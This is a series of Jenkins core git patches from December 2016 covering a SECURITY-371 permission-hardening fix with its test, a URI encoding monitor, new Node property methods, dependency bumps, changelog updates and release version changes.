a/core/src/main/java/jenkins/security/RekeySecretAdminMonitor.java +++ b/core/src/main/java/jenkins/security/RekeySecretAdminMonitor.java @@ -11,7 +11,6 @@ import jenkins.management.AsynchronousAdministrativeMonitor; import jenkins.model.Jenkins; import jenkins.util.io.FileBoolean; import org.kohsuke.stapler.HttpResponse; -import org.kohsuke.stapler.StaplerProxy; import org.kohsuke.stapler.StaplerRequest; import org.kohsuke.stapler.interceptor.RequirePOST; @@ -29,7 +28,7 @@ import java.util.logging.Logger; * @author Kohsuke Kawaguchi */ @Extension -public class RekeySecretAdminMonitor extends AsynchronousAdministrativeMonitor implements StaplerProxy { +public class RekeySecretAdminMonitor extends AsynchronousAdministrativeMonitor { /** * Whether we detected a need to run the rewrite program. @@ -62,14 +61,6 @@ public class RekeySecretAdminMonitor extends AsynchronousAdministrativeMonitor i needed.on(); } - /** - * Requires ADMINISTER permission for any operation in here. - */ - public Object getTarget() { - Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER); - return this; - } - @Override public boolean isActivated() { return needed.isOn(); diff --git a/core/src/main/java/jenkins/security/s2m/AdminCallableMonitor.java b/core/src/main/java/jenkins/security/s2m/AdminCallableMonitor.java index d6a483af76..3da88e6fa6 100644 --- a/core/src/main/java/jenkins/security/s2m/AdminCallableMonitor.java +++ b/core/src/main/java/jenkins/security/s2m/AdminCallableMonitor.java @@ -8,6 +8,7 @@ import jenkins.model.Jenkins; import org.kohsuke.stapler.HttpResponse; import org.kohsuke.stapler.HttpResponses; import org.kohsuke.stapler.QueryParameter; +import org.kohsuke.stapler.interceptor.RequirePOST; import javax.inject.Inject; import java.io.IOException; @@ -49,6 +50,7 @@ public class AdminCallableMonitor extends AdministrativeMonitor { /** * Depending on whether the user said "examin" or "dismiss", send him to the right place. */ + @RequirePOST public HttpResponse doAct(@QueryParameter String dismiss) throws IOException { if(dismiss!=null) { disable(true); diff --git a/core/src/main/java/jenkins/security/s2m/MasterKillSwitchWarning.java b/core/src/main/java/jenkins/security/s2m/MasterKillSwitchWarning.java index 7a5df576f1..012056c4a7 100644 --- a/core/src/main/java/jenkins/security/s2m/MasterKillSwitchWarning.java +++ b/core/src/main/java/jenkins/security/s2m/MasterKillSwitchWarning.java @@ -5,6 +5,7 @@ import hudson.model.AdministrativeMonitor; import org.kohsuke.stapler.HttpResponse; import org.kohsuke.stapler.HttpResponses; import org.kohsuke.stapler.QueryParameter; +import org.kohsuke.stapler.interceptor.RequirePOST; import javax.inject.Inject; import java.io.IOException; @@ -28,6 +29,7 @@ public class MasterKillSwitchWarning extends AdministrativeMonitor { return rule.getMasterKillSwitch() && config.isRelevant(); } + @RequirePOST public HttpResponse doAct(@QueryParameter String dismiss) throws IOException { if(dismiss!=null) { disable(true); diff --git a/test/src/test/java/hudson/diagnosis/HudsonHomeDiskUsageMonitorTest.java b/test/src/test/java/hudson/diagnosis/HudsonHomeDiskUsageMonitorTest.java index 8f2e42c39a..6316a77579 100644 --- a/test/src/test/java/hudson/diagnosis/HudsonHomeDiskUsageMonitorTest.java +++ b/test/src/test/java/hudson/diagnosis/HudsonHomeDiskUsageMonitorTest.java @@ -1,9 +1,20 @@ package hudson.diagnosis; +import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertFalse; import static org.junit.Assert.assertTrue; import static org.junit.Assert.fail; +import com.gargoylesoftware.htmlunit.FailingHttpStatusCodeException; +import com.gargoylesoftware.htmlunit.HttpMethod; +import com.gargoylesoftware.htmlunit.WebRequest; +import com.gargoylesoftware.htmlunit.util.NameValuePair; +import hudson.model.User; +import hudson.security.GlobalMatrixAuthorizationStrategy; +import hudson.security.HudsonPrivateSecurityRealm; +import hudson.security.Permission; +import jenkins.model.Jenkins; +import org.acegisecurity.context.SecurityContextHolder; import org.junit.Rule; import org.junit.Test; import org.jvnet.hudson.test.JenkinsRule; @@ -13,6 +24,7 @@ import com.gargoylesoftware.htmlunit.html.HtmlForm; import com.gargoylesoftware.htmlunit.ElementNotFoundException; import java.io.IOException; +import java.util.Collections; /** * @author Kohsuke Kawaguchi @@ -45,6 +57,41 @@ public class HudsonHomeDiskUsageMonitorTest { } } + @Test + public void noAccessForNonAdmin() throws Exception { + JenkinsRule.WebClient wc = j.createWebClient(); + + // TODO: Use MockAuthorizationStrategy in later versions + JenkinsRule.DummySecurityRealm realm = j.createDummySecurityRealm(); + realm.addGroups("administrator", "admins"); + realm.addGroups("alice", "users"); + realm.addGroups("bob", "users"); + j.jenkins.setSecurityRealm(realm); + GlobalMatrixAuthorizationStrategy auth = new GlobalMatrixAuthorizationStrategy(); + auth.add(Jenkins.ADMINISTER, "admins"); + auth.add(Permission.READ, "users"); + j.jenkins.setAuthorizationStrategy(auth); + + WebRequest request = new WebRequest(wc.createCrumbedUrl("administrativeMonitor/hudsonHomeIsFull/act"), HttpMethod.POST); + NameValuePair param = new NameValuePair("no", "true"); + request.setRequestParameters(Collections.singletonList(param)); + + HudsonHomeDiskUsageMonitor mon = HudsonHomeDiskUsageMonitor.get(); + + try { + wc.login("bob"); + wc.getPage(request); + } catch (FailingHttpStatusCodeException e) { + assertEquals(403, e.getStatusCode()); + } + assertTrue(mon.isEnabled()); + + wc.login("administrator"); + wc.getPage(request); + assertFalse(mon.isEnabled()); + + } + /** * Gets the warning form. */ -- GitLab From 17b98d6246637be0a41b6ef57825e5e4dfcc42b7 Mon Sep 17 00:00:00 2001 From: Andrew Bayer Date: Fri, 16 Dec 2016 13:44:36 -0500 Subject: [PATCH 600/811] Responding to review comments. --- .../java/hudson/model/AdministrativeMonitor.java | 3 +++ .../diagnosis/HudsonHomeDiskUsageMonitor/index.jelly | 2 +- .../hudson/diagnosis/OldDataMonitor/manage.jelly | 2 +- .../diagnosis/HudsonHomeDiskUsageMonitorTest.java | 12 ++++++++++-- 4 files changed, 15 insertions(+), 4 deletions(-) diff --git a/core/src/main/java/hudson/model/AdministrativeMonitor.java b/core/src/main/java/hudson/model/AdministrativeMonitor.java index c43f2dae0d..537f6d092c 100644 --- a/core/src/main/java/hudson/model/AdministrativeMonitor.java +++ b/core/src/main/java/hudson/model/AdministrativeMonitor.java @@ -34,6 +34,8 @@ import java.util.Set; import java.io.IOException; import jenkins.model.Jenkins; +import org.kohsuke.accmod.Restricted; +import org.kohsuke.accmod.restrictions.NoExternalUse; import org.kohsuke.stapler.StaplerProxy; import org.kohsuke.stapler.StaplerRequest; import org.kohsuke.stapler.StaplerResponse; @@ -154,6 +156,7 @@ public abstract class AdministrativeMonitor extends AbstractModelObject implemen /** * Requires ADMINISTER permission for any operation in here. */ + @Restricted(NoExternalUse.class) public Object getTarget() { Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER); return this; diff --git a/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index.jelly b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index.jelly index b752609f48..35988ba363 100644 --- a/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index.jelly +++ b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index.jelly @@ -24,7 +24,7 @@ THE SOFTWARE. - +

                                          diff --git a/core/src/main/resources/hudson/diagnosis/OldDataMonitor/manage.jelly b/core/src/main/resources/hudson/diagnosis/OldDataMonitor/manage.jelly index 06c28d21ce..0f73ec6d0f 100644 --- a/core/src/main/resources/hudson/diagnosis/OldDataMonitor/manage.jelly +++ b/core/src/main/resources/hudson/diagnosis/OldDataMonitor/manage.jelly @@ -24,7 +24,7 @@ THE SOFTWARE. - +

                                          ${%Manage Old Data}

                                          diff --git a/test/src/test/java/hudson/diagnosis/HudsonHomeDiskUsageMonitorTest.java b/test/src/test/java/hudson/diagnosis/HudsonHomeDiskUsageMonitorTest.java index 6316a77579..d416b3e451 100644 --- a/test/src/test/java/hudson/diagnosis/HudsonHomeDiskUsageMonitorTest.java +++ b/test/src/test/java/hudson/diagnosis/HudsonHomeDiskUsageMonitorTest.java @@ -17,6 +17,7 @@ import jenkins.model.Jenkins; import org.acegisecurity.context.SecurityContextHolder; import org.junit.Rule; import org.junit.Test; +import org.jvnet.hudson.test.Issue; import org.jvnet.hudson.test.JenkinsRule; import org.xml.sax.SAXException; import com.gargoylesoftware.htmlunit.html.HtmlPage; @@ -57,6 +58,7 @@ public class HudsonHomeDiskUsageMonitorTest { } } + @Issue("SECURITY-371") @Test public void noAccessForNonAdmin() throws Exception { JenkinsRule.WebClient wc = j.createWebClient(); @@ -64,12 +66,11 @@ public class HudsonHomeDiskUsageMonitorTest { // TODO: Use MockAuthorizationStrategy in later versions JenkinsRule.DummySecurityRealm realm = j.createDummySecurityRealm(); realm.addGroups("administrator", "admins"); - realm.addGroups("alice", "users"); realm.addGroups("bob", "users"); j.jenkins.setSecurityRealm(realm); GlobalMatrixAuthorizationStrategy auth = new GlobalMatrixAuthorizationStrategy(); auth.add(Jenkins.ADMINISTER, "admins"); - auth.add(Permission.READ, "users"); + auth.add(Jenkins.READ, "users"); j.jenkins.setAuthorizationStrategy(auth); WebRequest request = new WebRequest(wc.createCrumbedUrl("administrativeMonitor/hudsonHomeIsFull/act"), HttpMethod.POST); @@ -86,6 +87,13 @@ public class HudsonHomeDiskUsageMonitorTest { } assertTrue(mon.isEnabled()); + try { + WebRequest getIndex = new WebRequest(wc.createCrumbedUrl("administrativeMonitor/hudsonHomeIsFull"), HttpMethod.GET); + wc.getPage(getIndex); + } catch (FailingHttpStatusCodeException e) { + assertEquals(403, e.getStatusCode()); + } + wc.login("administrator"); wc.getPage(request); assertFalse(mon.isEnabled()); -- GitLab From 7bb4a592d462f30310e0ad82b2fda4fb32321796 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Fri, 16 Dec 2016 22:50:37 +0100 Subject: [PATCH 601/811] [FIX JENKINS-39433] Make URI encoding check into admin monitor (#2661) --- .../diagnostics/URICheckEncodingMonitor.java | 42 +++++++++++++++++++ .../AdministrativeMonitorsDecorator.java | 5 +++ core/src/main/java/jenkins/model/Jenkins.java | 39 +++++------------ .../jenkins/diagnostics/Messages.properties | 1 + .../URICheckEncodingMonitor/message.jelly | 16 +++++++ .../jenkins/model/Jenkins/manage.jelly | 13 ------ 6 files changed, 74 insertions(+), 42 deletions(-) create mode 100644 core/src/main/java/jenkins/diagnostics/URICheckEncodingMonitor.java create mode 100644 core/src/main/resources/jenkins/diagnostics/URICheckEncodingMonitor/message.jelly diff --git a/core/src/main/java/jenkins/diagnostics/URICheckEncodingMonitor.java b/core/src/main/java/jenkins/diagnostics/URICheckEncodingMonitor.java new file mode 100644 index 0000000000..8b171de6eb --- /dev/null +++ b/core/src/main/java/jenkins/diagnostics/URICheckEncodingMonitor.java @@ -0,0 +1,42 @@ +package jenkins.diagnostics; + +import hudson.Extension; +import hudson.model.*; +import hudson.util.FormValidation; +import jenkins.model.Jenkins; +import org.kohsuke.accmod.Restricted; +import org.kohsuke.accmod.restrictions.NoExternalUse; +import org.kohsuke.stapler.StaplerRequest; + +import java.io.IOException; + +import static hudson.Util.fixEmpty; + +@Restricted(NoExternalUse.class) +@Extension +public class URICheckEncodingMonitor extends AdministrativeMonitor { + + public boolean isCheckEnabled() { + return !"ISO-8859-1".equalsIgnoreCase(System.getProperty("file.encoding")); + } + + @Override + public boolean isActivated() { + return true; + } + + @Override + public String getDisplayName() { + return Messages.URICheckEncodingMonitor_DisplayName(); + } + + public FormValidation doCheckURIEncoding(StaplerRequest request) throws IOException { + Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER); + // expected is non-ASCII String + final String expected = "\u57f7\u4e8b"; + final String value = fixEmpty(request.getParameter("value")); + if (!expected.equals(value)) + return FormValidation.warningWithMarkup(hudson.model.Messages.Hudson_NotUsesUTF8ToDecodeURL()); + return FormValidation.ok(); + } +} diff --git a/core/src/main/java/jenkins/management/AdministrativeMonitorsDecorator.java b/core/src/main/java/jenkins/management/AdministrativeMonitorsDecorator.java index 5d88cf74b9..ff8ea3efa6 100644 --- a/core/src/main/java/jenkins/management/AdministrativeMonitorsDecorator.java +++ b/core/src/main/java/jenkins/management/AdministrativeMonitorsDecorator.java @@ -31,6 +31,7 @@ import hudson.model.PageDecorator; import hudson.util.HttpResponses; import hudson.util.HudsonIsLoading; import hudson.util.HudsonIsRestarting; +import jenkins.diagnostics.URICheckEncodingMonitor; import jenkins.model.Jenkins; import net.sf.json.JSON; import net.sf.json.JSONObject; @@ -83,6 +84,10 @@ public class AdministrativeMonitorsDecorator extends PageDecorator { // TODO make reverse proxy monitor work when shown on any URL continue; } + if (am instanceof URICheckEncodingMonitor) { + // TODO make URI encoding monitor work when shown on any URL + continue; + } if (am.isEnabled() && am.isActivated()) { active.add(am); } diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index 8ba424fce7..846b78a5bd 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -33,31 +33,11 @@ import com.google.common.collect.Lists; import com.google.inject.Inject; import com.google.inject.Injector; import com.thoughtworks.xstream.XStream; -import hudson.BulkChange; -import hudson.DNSMultiCast; -import hudson.DescriptorExtensionList; -import hudson.Extension; -import hudson.ExtensionComponent; -import hudson.ExtensionFinder; -import hudson.ExtensionList; -import hudson.ExtensionPoint; -import hudson.FilePath; -import hudson.Functions; -import hudson.Launcher; +import hudson.*; import hudson.Launcher.LocalLauncher; -import hudson.Lookup; -import hudson.Main; -import hudson.Plugin; -import hudson.PluginManager; -import hudson.PluginWrapper; -import hudson.ProxyConfiguration; import jenkins.AgentProtocol; +import jenkins.diagnostics.URICheckEncodingMonitor; import jenkins.util.SystemProperties; -import hudson.TcpSlaveAgentListener; -import hudson.UDPBroadcastThread; -import hudson.Util; -import hudson.WebAppMain; -import hudson.XmlFile; import hudson.cli.declarative.CLIMethod; import hudson.cli.declarative.CLIResolver; import hudson.init.InitMilestone; @@ -4455,20 +4435,21 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve * Checks if container uses UTF-8 to decode URLs. See * http://wiki.jenkins-ci.org/display/JENKINS/Tomcat#Tomcat-i18n */ + @Restricted(NoExternalUse.class) + @RestrictedSince("since TODO") + @Deprecated public FormValidation doCheckURIEncoding(StaplerRequest request) throws IOException { - // expected is non-ASCII String - final String expected = "\u57f7\u4e8b"; - final String value = fixEmpty(request.getParameter("value")); - if (!expected.equals(value)) - return FormValidation.warningWithMarkup(Messages.Hudson_NotUsesUTF8ToDecodeURL()); - return FormValidation.ok(); + return ExtensionList.lookup(URICheckEncodingMonitor.class).get(0).doCheckURIEncoding(request); } /** * Does not check when system default encoding is "ISO-8859-1". */ + @Restricted(NoExternalUse.class) + @RestrictedSince("since TODO") + @Deprecated public static boolean isCheckURIEncodingEnabled() { - return !"ISO-8859-1".equalsIgnoreCase(System.getProperty("file.encoding")); + return ExtensionList.lookup(URICheckEncodingMonitor.class).get(0).isCheckEnabled(); } /** diff --git a/core/src/main/resources/jenkins/diagnostics/Messages.properties b/core/src/main/resources/jenkins/diagnostics/Messages.properties index 17a3543c56..38362ae234 100644 --- a/core/src/main/resources/jenkins/diagnostics/Messages.properties +++ b/core/src/main/resources/jenkins/diagnostics/Messages.properties @@ -1,2 +1,3 @@ CompletedInitializationMonitor.DisplayName=Jenkins Initialization Monitor SecurityIsOffMonitor.DisplayName=Disabled Security +URICheckEncodingMonitor.DisplayName=Check URI Encoding diff --git a/core/src/main/resources/jenkins/diagnostics/URICheckEncodingMonitor/message.jelly b/core/src/main/resources/jenkins/diagnostics/URICheckEncodingMonitor/message.jelly new file mode 100644 index 0000000000..cb5cb59c60 --- /dev/null +++ b/core/src/main/resources/jenkins/diagnostics/URICheckEncodingMonitor/message.jelly @@ -0,0 +1,16 @@ + + + + + + + diff --git a/core/src/main/resources/jenkins/model/Jenkins/manage.jelly b/core/src/main/resources/jenkins/model/Jenkins/manage.jelly index 0769b65bd0..63684e446b 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/manage.jelly +++ b/core/src/main/resources/jenkins/model/Jenkins/manage.jelly @@ -59,19 +59,6 @@ THE SOFTWARE.

                                          ${%Manage Jenkins}

                                          - - - - -- GitLab From ef8ddd8a48df04952e59d242e713ff6e05b972c5 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Fri, 16 Dec 2016 22:51:21 +0100 Subject: [PATCH 602/811] [FIXED JENKINS-40362] - Update SSHD Module to 1.9 (#2662) --- war/pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/war/pom.xml b/war/pom.xml index c0545ad5ea..0126496fa0 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -134,7 +134,7 @@ THE SOFTWARE. org.jenkins-ci.modules sshd - 1.8 + 1.9 org.jenkins-ci.ui -- GitLab From a1258c0009bbdbe1a7de19ce383b5eac8bf4296f Mon Sep 17 00:00:00 2001 From: Markus Winter Date: Fri, 16 Dec 2016 22:52:09 +0100 Subject: [PATCH 603/811] [JENKINS-40365] add Node#getNodeProperty methods (#2663) * [JENKINS-40365] add getNodeProperty methods * implement getNodeProperty in DummySlave * implement getNodeProperty in Node avoid binary imcompatible change dded javadoc * revert Slave.jar to original * fix formatting * more formatting --- core/src/main/java/hudson/model/Node.java | 41 +++++++++++++++++++++++ 1 file changed, 41 insertions(+) diff --git a/core/src/main/java/hudson/model/Node.java b/core/src/main/java/hudson/model/Node.java index 54f7910bbe..95c2b3afb5 100644 --- a/core/src/main/java/hudson/model/Node.java +++ b/core/src/main/java/hudson/model/Node.java @@ -451,6 +451,47 @@ public abstract class Node extends AbstractModelObject implements Reconfigurable */ public abstract @Nonnull DescribableList, NodePropertyDescriptor> getNodeProperties(); + /** + * Gets the specified property or null if the property is not configured for this Node. + * + * @param clazz the type of the property + * + * @return null if the property is not configured + * + * @since TODO + */ + @CheckForNull + public T getNodeProperty(Class clazz) + { + for (NodeProperty p: getNodeProperties()) { + if (clazz.isInstance(p)) { + return clazz.cast(p); + } + } + return null; + } + + /** + * Gets the property from the given classname or null if the property + * is not configured for this Node. + * + * @param className The classname of the property + * + * @return null if the property is not configured + * + * @since TODO + */ + @CheckForNull + public NodeProperty getNodeProperty(String className) + { + for (NodeProperty p: getNodeProperties()) { + if (p.getClass().getName().equals(className)) { + return p; + } + } + return null; + } + // used in the Jelly script to expose descriptors public List getNodePropertyDescriptors() { return NodeProperty.for_(this); -- GitLab From a0262d2fec648fe98e83a08f1735394a9f243f4d Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Fri, 16 Dec 2016 22:52:31 +0100 Subject: [PATCH 604/811] [JENKINS-40435] - Use BulkChange when processing config changes in Job#doConfigSubmit. (#2664) When an empty Freestyle job config gets submitted in the default configuration of Jenkins 2.35, the data is being saved to the disk *8 times*. All of them happen in this code: https://github.com/jenkinsci/jenkins/blob/master/core/src/main/java/hudson/model/Job.java#L1227-L1246 * setDisplayName * Project#getBuildWrappersList().rebuild (onModified handler) * Project#getBuilderList().rebuild (onModified handler) * Project#getPublisherList().rebuild (onModified handler) * AbstractProject#makeDisabled * AbstractProject#setScm * AbstractProject#triggers.replaceBy * final save() There is not so much sense to save partial configurations to the disk due to the risk of data inconsistency there. This change just wraps the config submission section of the job into the BulkChange clause. --- core/src/main/java/hudson/model/Job.java | 35 ++++++++++++------------ 1 file changed, 18 insertions(+), 17 deletions(-) diff --git a/core/src/main/java/hudson/model/Job.java b/core/src/main/java/hudson/model/Job.java index 9dc1e2752a..88d39ac15f 100644 --- a/core/src/main/java/hudson/model/Job.java +++ b/core/src/main/java/hudson/model/Job.java @@ -1224,26 +1224,27 @@ public abstract class Job, RunT extends Run, JobPropertyDescriptor> t = new DescribableList, JobPropertyDescriptor>(NOOP,getAllProperties()); - JSONObject jsonProperties = json.optJSONObject("properties"); - if (jsonProperties != null) { - t.rebuild(req,jsonProperties,JobPropertyDescriptor.getPropertyDescriptors(Job.this.getClass())); - } else { - t.clear(); - } - properties.clear(); - for (JobProperty p : t) { - p.setOwner(this); - properties.add(p); - } - - submit(req, rsp); + DescribableList, JobPropertyDescriptor> t = new DescribableList, JobPropertyDescriptor>(NOOP,getAllProperties()); + JSONObject jsonProperties = json.optJSONObject("properties"); + if (jsonProperties != null) { + t.rebuild(req,jsonProperties,JobPropertyDescriptor.getPropertyDescriptors(Job.this.getClass())); + } else { + t.clear(); + } + properties.clear(); + for (JobProperty p : t) { + p.setOwner(this); + properties.add(p); + } - save(); + submit(req, rsp); + bc.commit(); + } ItemListener.fireOnUpdated(this); String newName = req.getParameter("name"); -- GitLab From 8634965a4f4833c93cf6f7f368891d7b54e7983f Mon Sep 17 00:00:00 2001 From: bpedersen2 Date: Fri, 16 Dec 2016 22:53:20 +0100 Subject: [PATCH 605/811] [JENKINS-39971] Always display the recheck button in the Plugin Manager (#2668) The re-check updatecenter button should be visible even if there are currently no pending updates. --- .../main/resources/hudson/PluginManager/table.jelly | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/core/src/main/resources/hudson/PluginManager/table.jelly b/core/src/main/resources/hudson/PluginManager/table.jelly index e8c75170b4..7c289a7c82 100644 --- a/core/src/main/resources/hudson/PluginManager/table.jelly +++ b/core/src/main/resources/hudson/PluginManager/table.jelly @@ -139,18 +139,18 @@ THE SOFTWARE.

                                        - -
                                        -
                                        +
                                        +
                                        + - + +
                                        - -- GitLab From 1c1e9d5d642f9aec2c2484186a275983fc19225e Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sat, 17 Dec 2016 00:29:06 +0100 Subject: [PATCH 606/811] Changelog: updates towards 2.37 Noting #2668, #2664, #2663, #2662, #2661, #2667, #2666, #2652, #2643, #2591, #2658, #2645, #2660, #2603 --- changelog.html | 55 +++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 54 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 4b8502c6fd..5dbaec0e41 100644 --- a/changelog.html +++ b/changelog.html @@ -56,7 +56,60 @@ Upcoming changes

                                        What's new in 2.36 (2016/12/11)

                                        -- GitLab From ef588be4f264b5ba285110f472f031e2bd771c71 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sat, 17 Dec 2016 22:10:53 +0100 Subject: [PATCH 607/811] Update Jenkins remoting to 3.3 (#2671) * JENKINS-25218 - Hardening of FifoBuffer operation logic. The change improves the original fix in `remoting-2.54`. * JENKINS-39547 - Corrupt agent JAR cache causes agents to malfunction. Improvements: * JENKINS-40491 - Improve diagnostincs of the preliminary FifoBuffer termination. * ProxyException now retains any suppressed exceptions. --- pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pom.xml b/pom.xml index bd0fea81aa..e154336775 100644 --- a/pom.xml +++ b/pom.xml @@ -181,7 +181,7 @@ THE SOFTWARE. org.jenkins-ci.main remoting - 3.2 + 3.3 -- GitLab From 49a123c7e507268455c954fd782851e89f30fc25 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sat, 17 Dec 2016 22:32:26 +0100 Subject: [PATCH 608/811] Changelog: Noting #2671 and #2665 towards 2.37 --- changelog.html | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) diff --git a/changelog.html b/changelog.html index 5dbaec0e41..b58ac26028 100644 --- a/changelog.html +++ b/changelog.html @@ -73,6 +73,9 @@ Upcoming changes
                                      • Do not report -noCertificateCheck warning to STDOUT. (pull 2666) +
                                      • + Improve overall performance of Jenkins by accessing item group elements without sorting where it is possible. + (pull 2665)
                                      • Convert URI encoding check on the Manage Jenkins page into admin monitor. (issue 39433) @@ -100,6 +103,21 @@ Upcoming changes Check for Updates button in the Plugin Manager was hidden in the Updates tab when there was no plugins updates available. (issue 40489) +
                                      • + Remoting 3.3: Agent JAR cache corruption was causing malfunctioning of agents. + (issue 39547) +
                                      • + Remoting 3.3: Improve diagnostics of the preliminary FifoBuffer termination in the JNLP2 protocol. + (issue 40491) +
                                      • + Remoting 3.3: Hardening of FifoBuffer operation logic. + The change improves the original fix of + JENKINS-25218. + (remoting pull #100) +
                                      • + Remoting 3.3: ProxyException now retains info about suppressed exceptions + when serializing over the channel. + (remoting pull #136)
                                      • API: Introduce the new Jenkins#isSubjectToMandatoryReadPermissionCheck(String restOfPath) method for checking access permissions to particular paths. @@ -107,6 +125,9 @@ Upcoming changes
                                      • API: Introduce new Node#getNodeProperty() methods for retrieving node properties. (issue 40365) +
                                      • + API: Introduce new Items#allItems() methods for accessing items in item groups without sorting overhead. + (issue 40252)
                                      • Improved Polish translation. (pull 2643) -- GitLab From e67560843fb8982f17470684c80cb8dccb704e06 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 18 Dec 2016 17:49:48 -0800 Subject: [PATCH 609/811] [maven-release-plugin] prepare release jenkins-2.37 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index e70857e1b1..4c19c0359c 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.37-SNAPSHOT + 2.37 cli diff --git a/core/pom.xml b/core/pom.xml index 4c1c49392c..5bb241cf7f 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.37-SNAPSHOT + 2.37 jenkins-core diff --git a/pom.xml b/pom.xml index e154336775..d47a9925b9 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.37-SNAPSHOT + 2.37 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.37 diff --git a/test/pom.xml b/test/pom.xml index 674c7be7fd..bc23ed8f37 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.37-SNAPSHOT + 2.37 test diff --git a/war/pom.xml b/war/pom.xml index 0126496fa0..1a30fdd557 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.37-SNAPSHOT + 2.37 jenkins-war -- GitLab From 3a3f32da9daa96df1df6bf9c6b5e93c39faae351 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 18 Dec 2016 17:49:48 -0800 Subject: [PATCH 610/811] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 4c19c0359c..c16d16e748 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.37 + 2.38-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index 5bb241cf7f..3d177c3e15 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.37 + 2.38-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index d47a9925b9..1e96f58882 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.37 + 2.38-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.37 + HEAD diff --git a/test/pom.xml b/test/pom.xml index bc23ed8f37..a82e167128 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.37 + 2.38-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index 1a30fdd557..4c251e823c 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.37 + 2.38-SNAPSHOT jenkins-war -- GitLab From 50c5a12a91123f01b53c4839d84b227902da037a Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 18 Dec 2016 17:56:57 -0800 Subject: [PATCH 611/811] updated changelog for release --- changelog.html | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index b58ac26028..f33d1041b6 100644 --- a/changelog.html +++ b/changelog.html @@ -55,6 +55,11 @@ Upcoming changes +

                                        What's new in 2.37 (2016/12/18)

                                        • Allow defining agent ping interval and ping timeout in seconds. @@ -132,7 +137,6 @@ Upcoming changes Improved Polish translation. (pull 2643)
                                        -

                                        What's new in 2.36 (2016/12/11)

                                        • -- GitLab From ca8aa7748a6aee08f4b188571abd035d3b0842a8 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Mon, 19 Dec 2016 09:20:36 +0100 Subject: [PATCH 612/811] Changelog: fix the wrong link to JENKINS-39971 in 2.37 --- changelog.html | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index f33d1041b6..beb6bf8928 100644 --- a/changelog.html +++ b/changelog.html @@ -107,7 +107,7 @@ Upcoming changes
                                        • Check for Updates button in the Plugin Manager was hidden in the Updates tab when there was no plugins updates available. - (issue 40489) + (issue 39971)
